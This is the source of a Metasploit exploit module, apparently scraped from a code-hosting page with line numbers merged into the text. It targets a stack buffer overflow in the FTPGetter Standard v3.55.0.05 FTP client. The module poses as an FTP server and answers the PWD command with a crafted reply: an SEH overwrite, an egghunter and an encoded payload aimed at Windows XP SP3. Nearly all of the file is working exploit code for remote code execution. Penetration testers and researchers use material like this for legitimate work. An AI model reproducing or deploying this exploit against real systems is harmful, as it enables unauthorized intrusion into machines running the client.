Path: blob/master/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
23880 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::FtpServer9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',16'Description' => %q{17This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.18When processing the response on a PWD command, a stack based buffer overflow occurs.19This leads to arbitrary code execution when a structured exception handler gets20overwritten.21},22'Author' => [23'ekse', # found the bug24'corelanc0d3r <peter.ve[at]corelan.be>', # wrote the exploit25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2019-9760' ],29[ 'OSVDB', '68638'],30[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],31],32'DefaultOptions' => {33'EXITFUNC' => 'thread',34},35'Payload' => {36'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",37},38'Platform' => 'win',39'Targets' => [40[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]41],42'Privileged' => false,43'DisclosureDate' => '2010-10-12',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def setup55super56badchars = ""57eggoptions =58{59:checksum => true,60:eggtag => "W00T"61}62@hunter, @egg = generate_egghunter(payload.encoded, badchars, eggoptions)63end6465def on_client_unknown_command(c, cmd, arg)66c.put("200 OK\r\n")67end6869def on_client_command_pass(c, arg)70@state[c][:pass] = arg71c.put("230 OK #{@egg}\r\n")72return73end7475def on_client_command_pwd(c, arg)76junk1 = "A" * target['Offset']77junk2 = "A" * 978nseh = "\x74\x06\x41\x41"79jmp = "\x75\x08"80seh = [target.ret].pack('V')81junk3 = "D" * 2200082# dual offset83buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk384c.put("257 \"/\" #{buffer}\r\n")85print_status("Sent payload, #{buffer.length} bytes")86print_status("Wait for hunter ...")87return88end89end909192